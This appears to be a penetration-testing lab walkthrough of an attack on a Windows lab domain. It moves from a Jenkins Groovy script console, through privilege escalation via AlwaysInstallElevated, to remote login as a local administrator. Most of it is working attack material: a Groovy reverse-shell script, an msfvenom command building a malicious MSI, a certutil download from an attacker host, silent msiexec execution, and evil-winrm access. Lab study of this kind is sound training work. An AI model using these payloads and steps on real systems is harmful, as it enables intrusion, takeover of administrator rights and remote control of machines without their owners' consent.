Jenkins script console

Trigger reverse shell to attacking machine.

```
https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
```

```
String host="192.168.234.151";
int port=443;
String cmd="powershell.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

Local privilege escalation

Using invoke-allchecks from powerup.ps1, there is an interesting entry. It allows msi to be installed as admin.

```
[*] Checking for AlwaysInstallElevated registry key...
VERBOSE: HKLMval: 1
VERBOSE: HKCUval: 1
VERBOSE: AlwaysInstallElevated enabled on this machine!


AbuseFunction : Write-UserAddMSI
```

To confirm the LPE vector.

```
PS C:\temp> Get-RegistryAlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
True
PS C:\temp>
```

Payload crafting

Using msfvenom, adds the domain user studen141 as localadmin. This will allow student141 to psremote in.

```
┌─[user@parrot]─[/tmp]
└──╼ $msfvenom -f msi -p windows/exec CMD='net localgroup administrators dollarcorp\student141 /add' -o elevate.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 241 bytes
Final size of msi file: 159744 bytes
Saved as: elevate.msi
┌─[user@parrot]─[/tmp]
└──╼ $
```

LPE continued

Download malicious msi from attacking machine.

```
PS C:\temp> ls
ls


    Directory: C:\temp
```

```
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         18/5/2021   5:59 pm         562841 PowerUp.ps1
-a----         18/5/2021   5:59 pm         448187 PowerView.ps1


PS C:\temp> cmd.exe /c "certutil.exe -urlcache -split -f http://192.168.234.177/elevate.msi
elevate.msi"
cmd.exe /c "certutil.exe -urlcache -split -f http://192.168.234.177/elevate.msi elevate.msi"
****  Online  ****
  000000  ...
  027000
CertUtil: -URLCache command completed successfully.
PS C:\temp> ls
ls


    Directory: C:\temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/11/2021  11:14 pm         159744 elevate.msi
-a----         18/5/2021   5:59 pm         562841 PowerUp.ps1
-a----         18/5/2021   5:59 pm         448187 PowerView.ps1


PS C:\temp>
```

Before executing msi.

```
PS C:\temp> net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
DOLLARCORP\ciadmin
DOLLARCORP\Domain Admins
The command completed successfully.
```

After executing msi.

```
https://pentestlab.blog/tag/msi/
```

```
PS C:\temp> msiexec /quiet /i elevate.msi
msiexec /quiet /i elevate.msi
PS C:\temp>

PS C:\temp> net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
DOLLARCORP\ciadmin
DOLLARCORP\Domain Admins
DOLLARCORP\student141
The command completed successfully.

PS C:\temp>
```

PS remote in windows

```
PS C:\Users\student141> Enter-PSSession -ComputerName ci
[ci]: PS C:\Users\student141\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description
State
=========================================
================================================================= =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process
Enabled
SeSecurityPrivilege                       Manage auditing and security log
Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects
Enabled
SeLoadDriverPrivilege                     Load and unload device drivers
Enabled
SeSystemProfilePrivilege                  Profile system performance
Enabled
SeSystemtimePrivilege                     Change the system time
Enabled
SeProfileSingleProcessPrivilege           Profile single process
Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority
Enabled
SeCreatePagefilePrivilege                 Create a pagefile
Enabled
SeBackupPrivilege                         Back up files and directories
Enabled
SeRestorePrivilege                        Restore files and directories
Enabled
SeShutdownPrivilege                       Shut down the system
Enabled
SeDebugPrivilege                          Debug programs
Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values
Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system
Enabled
SeUndockPrivilege                         Remove computer from docking station
Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks
Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege                   Create global objects
Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set
Enabled
SeTimeZonePrivilege                       Change the time zone
Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links
Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the
same session Enabled
[ci]: PS C:\Users\student141\Documents>
```

PS remote on linux

```
┌─[user@parrot]─[~/Desktop/evil-winrm]
└──╼ $ruby ./evil-winrm.rb -i 192.168.234.151 --user 'dollarcorp\student141' --password
'SNIPPED'
```

```
Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-
winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\student141\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description
State
========================================
================================================================= =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process
Enabled
SeSecurityPrivilege                       Manage auditing and security log
Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects
Enabled
SeLoadDriverPrivilege                     Load and unload device drivers
Enabled
SeSystemProfilePrivilege                  Profile system performance
Enabled
SeSystemtimePrivilege                     Change the system time
Enabled
SeProfileSingleProcessPrivilege           Profile single process
Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority
Enabled
SeCreatePagefilePrivilege                 Create a pagefile
Enabled
SeBackupPrivilege                         Back up files and directories
Enabled
SeRestorePrivilege                        Restore files and directories
Enabled
SeShutdownPrivilege                       Shut down the system
Enabled
SeDebugPrivilege                          Debug programs
Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values
Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system
Enabled
SeUndockPrivilege                         Remove computer from docking station
Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks
Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege                   Create global objects
Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set
Enabled
SeTimeZonePrivilege                       Change the time zone
Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links
Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the
same session Enabled
*Evil-WinRM* PS C:\Users\student141\Documents>
```